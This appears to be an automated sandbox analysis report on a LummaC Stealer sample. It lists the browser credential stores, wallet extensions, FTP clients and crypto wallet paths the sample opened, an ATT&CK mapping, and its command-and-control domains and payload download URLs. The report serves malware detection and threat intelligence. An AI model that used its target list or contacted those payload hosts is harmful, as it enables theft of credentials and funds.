Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MNULNCRIYC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\XQACHMZIHU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PSAMNLJHZW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IVHSHTCODI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2161404498.000000000115F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2199880231.0000000001161000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2179905244.000000000114E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2196444620.0000000001161000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2165909480.0000000001160000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2180899538.0000000001160000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2199932512.0000000001165000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2148112355.000000000115F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2180542258.0000000001160000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2164822716.0000000001161000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2196045132.0000000001160000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4292, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 4292, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	761 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\R2L4HOH3ABPEWSR51AXUR0XR.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	104.21.95.91	true	true		unknown
presticitpo.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/h	file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exeM	file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/O	file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/mine/random.exe	file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/P	file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/api6Co~	file.exe, 00000000.00000003.2243825480.000000000116E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323257108.0000000001171000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323516417.0000000001171000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2224217452.000000000116E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243948329.0000000001170000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apire1	file.exe, 00000000.00000003.2196045132.0000000001160000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/K	file.exe, 00000000.00000003.2323594459.0000000001143000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/o	file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/r	file.exe, 00000000.00000003.2213266340.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213381477.0000000001150000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exest	file.exe, 00000000.00000003.2323349218.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apixe	file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/0v	file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2180763065.0000000005AAD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2181850518.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2148896955.00000000059D9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2148948692.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2149040197.00000000059D6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/?	file.exe, 00000000.00000003.2243986071.000000000114E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2243870043.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/	file.exe, 00000000.00000003.2323349218.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2182303351.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store	file.exe, 00000000.00000003.2323547911.0000000001150000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2323349218.000000000114E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
